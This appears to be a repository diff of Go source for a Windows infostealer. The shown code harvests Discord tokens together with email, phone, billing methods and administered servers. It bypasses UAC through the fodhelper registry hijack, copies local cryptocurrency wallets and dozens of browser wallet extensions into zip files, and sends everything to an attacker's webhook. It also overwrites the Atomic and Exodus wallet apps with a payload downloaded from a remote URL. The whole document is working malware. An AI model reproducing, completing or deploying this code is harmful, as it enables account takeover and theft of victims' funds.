body, err := requests.Get("https://discord.com/api/v9/users/@me", map[string]string{"Authorization": token})
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
var user User
|
||||
if err = json.Unmarshal(body, &user); err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
billing, err := requests.Get("https://discord.com/api/v9/users/@me/billing/payment-sources", map[string]string{"Authorization": token})
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
var billingData []Billing
|
||||
if err = json.Unmarshal(billing, &billingData); err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
guilds, err := requests.Get("https://discord.com/api/v9/users/@me/guilds?with_counts=true", map[string]string{"Authorization": token})
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
var guildsData []Guild
|
||||
if err = json.Unmarshal(guilds, &guildsData); err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
friends, err := requests.Get("https://discord.com/api/v9/users/@me/relationships", map[string]string{"Authorization": token})
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
var friendsData []Friend
|
||||
|
||||
if err = json.Unmarshal(friends, &friendsData); err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
var avatar string
|
||||
res, err := http.Get("https://cdn.discordapp.com/avatars/" + user.ID + "/" + user.Avatar + ".gif")
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
if res.StatusCode != 200 {
|
||||
avatar = "https://cdn.discordapp.com/avatars/" + user.ID + "/" + user.Avatar + ".png"
|
||||
} else {
|
||||
avatar = "https://cdn.discordapp.com/avatars/" + user.ID + "/" + user.Avatar + ".gif"
|
||||
}
|
||||
|
||||
_ = avatar
|
||||
|
||||
badges := GetFlags(user.PublicFlags)
|
||||
nitro := GetNitro(user.PremiumType)
|
||||
paymentMethods := GetBilling(billingData)
|
||||
hqGuilds := GetHQGuilds(guildsData, token)
|
||||
hqFriends := GetHQFriends(friendsData)
|
||||
if user.Email == "" {
|
||||
user.Email = "None"
|
||||
}
|
||||
if user.Phone == "" {
|
||||
user.Phone = "None"
|
||||
}
|
||||
if user.MfaEnabled {
|
||||
user.Phone = user.Phone + " (2FA)"
|
||||
}
|
||||
|
||||
embed := map[string]interface{}{
|
||||
"title": user.Username + " (" + user.ID + ")",
|
||||
"thumbnail": map[string]string{
|
||||
"url": avatar,
|
||||
},
|
||||
"fields": []map[string]interface{}{
|
||||
{
|
||||
"name": "<a:pinkcrown:996004209667346442> Token:",
|
||||
"value": "```" + token + "```",
|
||||
"inline": false,
|
||||
},
|
||||
{"name": "\u200b", "value": "\u200b", "inline": false},
|
||||
{
|
||||
"name": "<:egp_mail:875383124241055845> Email:",
|
||||
"value": "`" + user.Email + "`",
|
||||
"inline": true,
|
||||
},
|
||||
{
|
||||
"name": "<:starxglow:996004217699434496> Phone:",
|
||||
"value": "`" + user.Phone + "`",
|
||||
"inline": true,
|
||||
},
|
||||
{"name": "\u200b", "value": "\u200b", "inline": false},
|
||||
{
|
||||
"name": "<a:nitroboost:996004213354139658> Nitro:",
|
||||
"value": nitro,
|
||||
"inline": true,
|
||||
},
|
||||
{
|
||||
"name": "💎 Badges:",
|
||||
"value": badges,
|
||||
"inline": true,
|
||||
},
|
||||
{
|
||||
"name": "<:purple_stars:1082566201105981440> Billing:",
|
||||
"value": paymentMethods,
|
||||
"inline": true,
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
if hqGuilds != "" {
|
||||
embed["fields"] = append(embed["fields"].([]map[string]interface{}), map[string]interface{}{
|
||||
"name": "\u200b",
|
||||
"value": hqGuilds,
|
||||
"inline": false,
|
||||
})
|
||||
}
|
||||
|
||||
if hqFriends != "" {
|
||||
embed["fields"] = append(embed["fields"].([]map[string]interface{}), map[string]interface{}{
|
||||
"name": "\u200b",
|
||||
"value": hqFriends,
|
||||
"inline": false,
|
||||
})
|
||||
}
|
||||
|
||||
requests.Webhook(webhook, map[string]interface{}{
|
||||
"embeds": []map[string]interface{}{embed},
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func Contains(s []string, e string) bool {
|
||||
for _, a := range s {
|
||||
encodedA := strings.Split(a, ".")[0]
|
||||
encodedE := strings.Split(e, ".")[0]
|
||||
|
||||
decodedA, err := base64.RawStdEncoding.DecodeString(encodedA)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
decodedE, err := base64.RawStdEncoding.DecodeString(encodedE)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
if string(decodedA) == string(decodedE) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func ValidateToken(token string) bool {
|
||||
req, err := http.NewRequest("GET", "https://discord.com/api/v9/users/@me", nil)
|
||||
req.Header.Set("Authorization", token)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
res, err := http.DefaultClient.Do(req)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
return res.StatusCode == 200
|
||||
}
|
||||
|
||||
func GetHQFriends(friends []Friend) (hqFriends string) {
|
||||
for _, friend := range friends {
|
||||
flags := GetRareFlags(friend.User.PublicFlags)
|
||||
if flags == "" {
|
||||
continue
|
||||
}
|
||||
if hqFriends == "" {
|
||||
hqFriends = "**Rare Friends:**\n"
|
||||
}
|
||||
hqFriends += flags + " - `" + friend.User.Username + "#" + " (" + friend.User.ID + ")`\n"
|
||||
|
||||
if len(hqFriends) >= 1024 {
|
||||
return "Too many friends to display."
|
||||
}
|
||||
}
|
||||
return hqFriends
|
||||
}
|
||||
|
||||
func GetHQGuilds(guilds []Guild, token string) (hqGuilds string) {
|
||||
for _, guild := range guilds {
|
||||
if guild.Permissions != "562949953421311" && guild.Permissions != "2251799813685247" {
|
||||
continue
|
||||
}
|
||||
if hqGuilds == "" {
|
||||
hqGuilds = "**Rare Servers:**\n"
|
||||
}
|
||||
|
||||
res, err := requests.Get("https://discord.com/api/v8/guilds/"+guild.ID+"/invites", map[string]string{"Authorization": token})
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
var invites []Invite
|
||||
err = json.Unmarshal(res, &invites)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
var invite string
|
||||
if len(invites) > 0 {
|
||||
invite = "[Join Server](https://discord.gg/" + invites[0].Code + ")"
|
||||
} else {
|
||||
invite = "No Invite"
|
||||
}
|
||||
|
||||
if guild.Owner {
|
||||
hqGuilds += "<:SA_Owner:991312415352430673> Owner | `" + guild.Name + "` - Members: `" + strconv.Itoa(guild.ApproximateMemberCount) + "` - " + invite + "\n"
|
||||
} else {
|
||||
hqGuilds += "<:admin:967851956930482206> Admin | `" + guild.Name + "` - Members: `" + strconv.Itoa(guild.ApproximateMemberCount) + "` - " + invite + "\n"
|
||||
}
|
||||
|
||||
if len(hqGuilds) >= 1024 {
|
||||
return "Too many servers to display."
|
||||
}
|
||||
}
|
||||
|
||||
return hqGuilds
|
||||
}
|
||||
|
||||
func GetBilling(billing []Billing) (paymentMethods string) {
|
||||
for _, method := range billing {
|
||||
if method.Type == 1 {
|
||||
paymentMethods += "💳"
|
||||
} else if method.Type == 2 {
|
||||
paymentMethods += "<:paypal:973417655627288666>"
|
||||
} else {
|
||||
paymentMethods += "❓"
|
||||
}
|
||||
}
|
||||
if paymentMethods == "" {
|
||||
paymentMethods = "`None`"
|
||||
}
|
||||
|
||||
return paymentMethods
|
||||
}
|
||||
|
||||
func GetNitro(flags int) string {
|
||||
switch flags {
|
||||
case 1:
|
||||
return "`Nitro Classic`"
|
||||
case 2:
|
||||
return "`Nitro`"
|
||||
case 3:
|
||||
return "`Nitro Basic`"
|
||||
default:
|
||||
return "`None`"
|
||||
}
|
||||
}
|
||||
|
||||
func GetFlags(flags int) string {
|
||||
flagsDict := map[string]int{
|
||||
"<:8485discordemployee:1163172252989259898>": 0,
|
||||
"<:9928discordpartnerbadge:1163172304155586570>": 1,
|
||||
"<:9171hypesquadevents:1163172248140660839>": 2,
|
||||
"<:4744bughunterbadgediscord:1163172239970140383>": 3,
|
||||
"<:6601hypesquadbravery:1163172246492287017>": 6,
|
||||
"<:6936hypesquadbrilliance:1163172244474822746>": 7,
|
||||
"<:5242hypesquadbalance:1163172243417858128>": 8,
|
||||
"<:5053earlysupporter:1163172241996005416>": 9,
|
||||
"<:1757bugbusterbadgediscord:1163172238942543892>": 14,
|
||||
"<:1207iconearlybotdeveloper:1163172236807639143>": 17,
|
||||
"<:1207iconactivedeveloper:1163172534443851868>": 22,
|
||||
"<:4149blurplecertifiedmoderator:1163172255489085481>": 18,
|
||||
"⌨️": 20,
|
||||
}
|
||||
|
||||
var result string
|
||||
for emoji, shift := range flagsDict {
|
||||
if int(flags)&(1<<shift) != 0 {
|
||||
result += emoji
|
||||
}
|
||||
}
|
||||
|
||||
if result == "" {
|
||||
result = "`None`"
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
func GetRareFlags(flags int) string {
|
||||
flagsDict := map[string]int{
|
||||
"<:8485discordemployee:1163172252989259898>": 0,
|
||||
"<:9928discordpartnerbadge:1163172304155586570>": 1,
|
||||
"<:9171hypesquadevents:1163172248140660839>": 2,
|
||||
"<:4744bughunterbadgediscord:1163172239970140383>": 3,
|
||||
"<:5053earlysupporter:1163172241996005416>": 9,
|
||||
"<:1757bugbusterbadgediscord:1163172238942543892>": 14,
|
||||
"<:1207iconearlybotdeveloper:1163172236807639143>": 17,
|
||||
"<:4149blurplecertifiedmoderator:1163172255489085481>": 18,
|
||||
}
|
||||
|
||||
var result string
|
||||
for emoji, shift := range flagsDict {
|
||||
if int(flags)&(1<<shift) != 0 {
|
||||
result += emoji
|
||||
}
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
@@ -0,0 +1,96 @@
|
||||
package uacbypass
|
||||
|
||||
import (
|
||||
"github.com/hackirby/skuld/utils/program"
|
||||
"os"
|
||||
"os/exec"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows/registry"
|
||||
)
|
||||
|
||||
func CanElevate() bool {
|
||||
var infoPointer uintptr
|
||||
|
||||
syscall.NewLazyDLL("netapi32.dll").NewProc("NetUserGetInfo").Call(
|
||||
0,
|
||||
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(os.Getenv("USERNAME")))),
|
||||
1,
|
||||
uintptr(unsafe.Pointer(&infoPointer)),
|
||||
)
|
||||
|
||||
defer syscall.NewLazyDLL("netapi32.dll").NewProc("NetApiBufferFree").Call(infoPointer)
|
||||
|
||||
type user struct {
|
||||
Username *uint16
|
||||
Password *uint16
|
||||
PasswordAge uint32
|
||||
Priv uint32
|
||||
HomeDir *uint16
|
||||
Comment *uint16
|
||||
Flags uint32
|
||||
ScriptPath *uint16
|
||||
}
|
||||
|
||||
info := (*user)(unsafe.Pointer(infoPointer))
|
||||
|
||||
return info.Priv == 2
|
||||
}
|
||||
|
||||
func Elevate() error {
|
||||
k, _, err := registry.CreateKey(registry.CURRENT_USER,
|
||||
"Software\\Classes\\ms-settings\\shell\\open\\command", registry.ALL_ACCESS)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
defer k.Close()
|
||||
|
||||
value, err := os.Executable()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if err = k.SetStringValue("", value); err != nil {
|
||||
return err
|
||||
}
|
||||
if err = k.SetStringValue("DelegateExecute", ""); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
cmd := exec.Command("cmd.exe", "/C", "fodhelper")
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
|
||||
err = cmd.Run()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
err = k.DeleteValue("")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
err = k.DeleteValue("DelegateExecute")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func Run() {
|
||||
if program.IsElevated() {
|
||||
return
|
||||
}
|
||||
|
||||
if !CanElevate() {
|
||||
return
|
||||
}
|
||||
|
||||
if err := Elevate(); err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
os.Exit(0)
|
||||
}
|
||||
@@ -0,0 +1,228 @@
|
||||
package wallets
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"github.com/hackirby/skuld/modules/browsers"
|
||||
"github.com/hackirby/skuld/utils/fileutil"
|
||||
"github.com/hackirby/skuld/utils/hardware"
|
||||
"github.com/hackirby/skuld/utils/requests"
|
||||
)
|
||||
|
||||
func Run(webhook string) {
|
||||
Local(webhook)
|
||||
Extensions(webhook)
|
||||
}
|
||||
|
||||
func Local(webhook string) {
|
||||
users := hardware.GetUsers()
|
||||
tempDir := fmt.Sprintf("%s\\wallets-temp", os.TempDir())
|
||||
defer os.RemoveAll(tempDir)
|
||||
found := ""
|
||||
Paths := map[string]string{
|
||||
"Zcash": "\\Zcash",
|
||||
"Armory": "\\Armory",
|
||||
"Bytecoin": "\\bytecoin",
|
||||
"Jaxx": "\\com.liberty.jaxx\\IndexedDB\\file__0.indexeddb.leveldb",
|
||||
"Exodus": "\\Exodus\\exodus.wallet",
|
||||
"Ethereum": "\\Ethereum\\keystore",
|
||||
"Electrum": "\\Electrum\\wallets",
|
||||
"AtomicWallet": "\\atomic\\Local Storage\\leveldb",
|
||||
"Guarda": "\\Guarda\\Local Storage\\leveldb",
|
||||
"Coinomi": "\\Coinomi\\Coinomi\\wallets",
|
||||
}
|
||||
|
||||
for _, user := range users {
|
||||
userPath := fmt.Sprintf("%s\\AppData\\Roaming\\", user)
|
||||
|
||||
for name, path := range Paths {
|
||||
path = fmt.Sprintf("%s%s", userPath, path)
|
||||
if !fileutil.IsDir(path) {
|
||||
continue
|
||||
}
|
||||
if err := fileutil.Copy(path, fmt.Sprintf("%s\\%s\\%s", tempDir, strings.Split(user, "\\")[2], name)); err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
found += fmt.Sprintf("\n✅ %s - %s", strings.Split(user, "\\")[2], name)
|
||||
}
|
||||
}
|
||||
|
||||
if found == "" {
|
||||
return
|
||||
}
|
||||
|
||||
if len(found) > 4090 {
|
||||
found = "Too many wallets to list."
|
||||
}
|
||||
|
||||
tempZip := fmt.Sprintf("%s\\wallets.zip", os.TempDir())
|
||||
if err := fileutil.Zip(tempDir, tempZip); err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
defer os.RemoveAll(tempDir)
|
||||
defer os.Remove(tempZip)
|
||||
|
||||
requests.Webhook(webhook, map[string]interface{}{
|
||||
"embeds": []map[string]interface{}{{
|
||||
"title": "Wallets",
|
||||
"description": "```" + found + "```",
|
||||
}},
|
||||
}, tempZip)
|
||||
}
|
||||
|
||||
func Extensions(webhook string) {
|
||||
Paths := map[string]string{
|
||||
"Authenticator": "\\Local Extension Settings\\bhghoamapcdpbohphigoooaddinpkbai",
|
||||
"Binance": "\\Local Extension Settings\\fhbohimaelbohpjbbldcngcnapndodjp",
|
||||
"Bitapp": "\\Local Extension Settings\\fihkakfobkmkjojpchpfgcmhfjnmnfpi",
|
||||
"BoltX": "\\Local Extension Settings\\aodkkagnadcbobfpggfnjeongemjbjca",
|
||||
"Coin98": "\\Local Extension Settings\\aeachknmefphepccionboohckonoeemg",
|
||||
"Coinbase": "\\Local Extension Settings\\hnfanknocfeofbddgcijnmhnfnkdnaad",
|
||||
"Core": "\\Local Extension Settings\\agoakfejjabomempkjlepdflaleeobhb",
|
||||
"Crocobit": "\\Local Extension Settings\\pnlfjmlcjdjgkddecgincndfgegkecke",
|
||||
"Equal": "\\Local Extension Settings\\blnieiiffboillknjnepogjhkgnoapac",
|
||||
"Ever": "\\Local Extension Settings\\cgeeodpfagjceefieflmdfphplkenlfk",
|
||||
"ExodusWeb3": "\\Local Extension Settings\\aholpfdialjgjfhomihkjbmgjidlcdno",
|
||||
"Fewcha": "\\Local Extension Settings\\ebfidpplhabeedpnhjnobghokpiioolj",
|
||||
"Finnie": "\\Local Extension Settings\\cjmkndjhnagcfbpiemnkdpomccnjblmj",
|
||||
"Guarda": "\\Local Extension Settings\\hpglfhgfnhbgpjdenjgmdgoeiappafln",
|
||||
"Guild": "\\Local Extension Settings\\nanjmdknhkinifnkgdcggcfnhdaammmj",
|
||||
"HarmonyOutdated": "\\Local Extension Settings\\fnnegphlobjdpkhecapkijjdkgcjhkib",
|
||||
"Iconex": "\\Local Extension Settings\\flpiciilemghbmfalicajoolhkkenfel",
|
||||
"Jaxx Liberty": "\\Local Extension Settings\\cjelfplplebdjjenllpjcblmjkfcffne",
|
||||
"Kaikas": "\\Local Extension Settings\\jblndlipeogpafnldhgmapagcccfchpi",
|
||||
"KardiaChain": "\\Local Extension Settings\\pdadjkfkgcafgbceimcpbkalnfnepbnk",
|
||||
"Keplr": "\\Local Extension Settings\\dmkamcknogkgcdfhhbddcghachkejeap",
|
||||
"Liquality": "\\Local Extension Settings\\kpfopkelmapcoipemfendmdcghnegimn",
|
||||
"MEWCX": "\\Local Extension Settings\\nlbmnnijcnlegkjjpcfjclmcfggfefdm",
|
||||
"MaiarDEFI": "\\Local Extension Settings\\dngmlblcodfobpdpecaadgfbcggfjfnm",
|
||||
"Martian": "\\Local Extension Settings\\efbglgofoippbgcjepnhiblaibcnclgk",
|
||||
"Math": "\\Local Extension Settings\\afbcbjpbpfadlkmhmclhkeeodmamcflc",
|
||||
"Metamask": "\\Local Extension Settings\\nkbihfbeogaeaoehlefnkodbefgpgknn",
|
||||
"Metamask2": "\\Local Extension Settings\\ejbalbakoplchlghecdalmeeeajnimhm",
|
||||
"Mobox": "\\Local Extension Settings\\fcckkdbjnoikooededlapcalpionmalo",
|
||||
"Nami": "\\Local Extension Settings\\lpfcbjknijpeeillifnkikgncikgfhdo",
|
||||
"Nifty": "\\Local Extension Settings\\jbdaocneiiinmjbjlgalhcelgbejmnid",
|
||||
"Oxygen": "\\Local Extension Settings\\fhilaheimglignddkjgofkcbgekhenbh",
|
||||
"PaliWallet": "\\Local Extension Settings\\mgffkfbidihjpoaomajlbgchddlicgpn",
|
||||
"Petra": "\\Local Extension Settings\\ejjladinnckdgjemekebdpeokbikhfci",
|
||||
"Phantom": "\\Local Extension Settings\\bfnaelmomeimhlpmgjnjophhpkkoljpa",
|
||||
"Pontem": "\\Local Extension Settings\\phkbamefinggmakgklpkljjmgibohnba",
|
||||
"Ronin": "\\Local Extension Settings\\fnjhmkhhmkbjkkabndcnnogagogbneec",
|
||||
"Safepal": "\\Local Extension Settings\\lgmpcpglpngdoalbgeoldeajfclnhafa",
|
||||
"Saturn": "\\Local Extension Settings\\nkddgncdjgjfcddamfgcmfnlhccnimig",
|
||||
"Slope": "\\Local Extension Settings\\pocmplpaccanhmnllbbkpgfliimjljgo",
|
||||
"Solfare": "\\Local Extension Settings\\bhhhlbepdkbapadjdnnojkbgioiodbic",
|
||||
"Sollet": "\\Local Extension Settings\\fhmfendgdocmcbmfikdcogofphimnkno",
|
||||
"Starcoin": "\\Local Extension Settings\\mfhbebgoclkghebffdldpobeajmbecfk",
|
||||
"Swash": "\\Local Extension Settings\\cmndjbecilbocjfkibfbifhngkdmjgog",
|
||||
"TempleTezos": "\\Local Extension Settings\\ookjlbkiijinhpmnjffcofjonbfbgaoc",
|
||||
"TerraStation": "\\Local Extension Settings\\aiifbnbfobpmeekipheeijimdpnlpgpp",
|
||||
"Tokenpocket": "\\Local Extension Settings\\mfgccjchihfkkindfppnaooecgfneiii",
|
||||
"Ton": "\\Local Extension Settings\\nphplpgoakhhjchkkhmiggakijnkhfnd",
|
||||
"Tron": "\\Local Extension Settings\\ibnejdfjmmkpcnlpebklmnkoeoihofec",
|
||||
"Trust Wallet": "\\Local Extension Settings\\egjidjbpglichdcondbcbdnbeeppgdph",
|
||||
"Wombat": "\\Local Extension Settings\\amkmjjmmflddogmhpjloimipbofnfjih",
|
||||
"XDEFI": "\\Local Extension Settings\\hmeobnfnfcmdkdcmlblgagmfpfboieaf",
|
||||
"XMR.PT": "\\Local Extension Settings\\eigblbgjknlfbajkfhopmcojidlgcehm",
|
||||
"XinPay": "\\Local Extension Settings\\bocpokimicclpaiekenaeelehdjllofo",
|
||||
"Yoroi": "\\Local Extension Settings\\ffnbelfdoeiohenkjibnmadjiehjhajb",
|
||||
"iWallet": "\\Local Extension Settings\\kncchdigobghenbbaddojjnnaogfppfj",
|
||||
}
|
||||
|
||||
users := hardware.GetUsers()
|
||||
browsersPath := browsers.GetChromiumBrowsers()
|
||||
var profilesPaths []browsers.Profile
|
||||
for _, user := range users {
|
||||
for name, path := range browsersPath {
|
||||
path = fmt.Sprintf("%s\\%s", user, path)
|
||||
if !fileutil.IsDir(path) {
|
||||
continue
|
||||
}
|
||||
|
||||
browser := browsers.Browser{
|
||||
Name: name,
|
||||
Path: path,
|
||||
User: strings.Split(user, "\\")[2],
|
||||
}
|
||||
|
||||
if browser.Name == "Opera" || browser.Name == "OperaGX" {
|
||||
profilesPaths = append(profilesPaths, browsers.Profile{
|
||||
Name: "Default",
|
||||
Path: browser.Path,
|
||||
Browser: browser,
|
||||
})
|
||||
continue
|
||||
}
|
||||
|
||||
profiles, err := os.ReadDir(path)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, profile := range profiles {
|
||||
if profile.IsDir() {
|
||||
files, err := os.ReadDir(fmt.Sprintf("%s\\%s", path, profile.Name()))
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, file := range files {
|
||||
if file.Name() == "Web Data" {
|
||||
profilesPaths = append(profilesPaths, browsers.Profile{
|
||||
Name: profile.Name(),
|
||||
Path: fmt.Sprintf("%s\\%s", path, profile.Name()),
|
||||
Browser: browser,
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if len(profilesPaths) == 0 {
|
||||
return
|
||||
}
|
||||
|
||||
tempDir := fmt.Sprintf("%s\\extensions-temp", os.TempDir())
|
||||
defer os.RemoveAll(tempDir)
|
||||
found := ""
|
||||
|
||||
for _, profile := range profilesPaths {
|
||||
for name, path := range Paths {
|
||||
path = fmt.Sprintf("%s%s", profile.Path, path)
|
||||
if !fileutil.IsDir(path) {
|
||||
continue
|
||||
}
|
||||
|
||||
err := fileutil.Copy(path, fmt.Sprintf("%s\\%s\\%s", tempDir, profile.Browser.User, name))
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
found += fmt.Sprintf("\n✅ %s - %s", profile.Browser.User, name)
|
||||
}
|
||||
}
|
||||
|
||||
if found == "" {
|
||||
return
|
||||
}
|
||||
|
||||
if len(found) > 4090 {
|
||||
found = "Too many extensions to list."
|
||||
}
|
||||
|
||||
tempZip := fmt.Sprintf("%s\\extensions.zip", os.TempDir())
|
||||
if err := fileutil.Zip(tempDir, tempZip); err != nil {
|
||||
return
|
||||
}
|
||||
defer os.Remove(tempZip)
|
||||
requests.Webhook(webhook, map[string]interface{}{
|
||||
"embeds": []map[string]interface{}{{
|
||||
"title": "Extensions",
|
||||
"description": "```" + found + "```",
|
||||
}},
|
||||
}, tempZip)
|
||||
}
|
||||
@@ -0,0 +1,97 @@
|
||||
package walletsinjection
|
||||
|
||||
import (
|
||||
"io"
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"github.com/hackirby/skuld/utils/fileutil"
|
||||
"github.com/hackirby/skuld/utils/hardware"
|
||||
)
|
||||
|
||||
func Run(atomic_injection_url, exodus_injection_url, webhook string) {
|
||||
AtomicInjection(atomic_injection_url, webhook)
|
||||
ExodusInjection(exodus_injection_url, webhook)
|
||||
}
|
||||
|
||||
func AtomicInjection(atomic_injection_url, webhook string) {
|
||||
for _, user := range hardware.GetUsers() {
|
||||
atomicPath := filepath.Join(user, "AppData", "Local", "Programs", "atomic")
|
||||
if !fileutil.IsDir(atomicPath) {
|
||||
continue
|
||||
}
|
||||
|
||||
atomicAsarPath := filepath.Join(atomicPath, "resources", "app.asar")
|
||||
atomicLicensePath := filepath.Join(atomicPath, "LICENSE.electron.txt")
|
||||
|
||||
if !fileutil.Exists(atomicAsarPath) {
|
||||
continue
|
||||
}
|
||||
|
||||
Injection(atomicAsarPath, atomicLicensePath, atomic_injection_url, webhook)
|
||||
}
|
||||
}
|
||||
|
||||
func ExodusInjection(exodus_injection_url, webhook string) {
|
||||
for _, user := range hardware.GetUsers() {
|
||||
exodusPath := filepath.Join(user, "AppData", "Local", "exodus")
|
||||
if !fileutil.IsDir(exodusPath) {
|
||||
continue
|
||||
}
|
||||
|
||||
files, err := filepath.Glob(filepath.Join(exodusPath, "app-*"))
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
if len(files) == 0 {
|
||||
continue
|
||||
}
|
||||
|
||||
exodusPath = files[0]
|
||||
|
||||
exodusAsarPath := filepath.Join(exodusPath, "resources", "app.asar")
|
||||
exodusLicensePath := filepath.Join(exodusPath, "LICENSE")
|
||||
|
||||
if !fileutil.Exists(exodusAsarPath) {
|
||||
continue
|
||||
}
|
||||
|
||||
Injection(exodusAsarPath, exodusLicensePath, exodus_injection_url, webhook)
|
||||
}
|
||||
}
|
||||
|
||||
func Injection(path, licensePath, injection_url, webhook string) {
|
||||
if !fileutil.Exists(path) {
|
||||
return
|
||||
}
|
||||
|
||||
resp, err := http.Get(injection_url)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return
|
||||
}
|
||||
|
||||
out, err := os.Create(path)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
defer out.Close()
|
||||
|
||||
if _, err = io.Copy(out, resp.Body); err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
license, err := os.Create(licensePath)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
defer license.Close()
|
||||
|
||||
license.WriteString(webhook)
|
||||
}
|
||||
Reference in New Issue
Block a user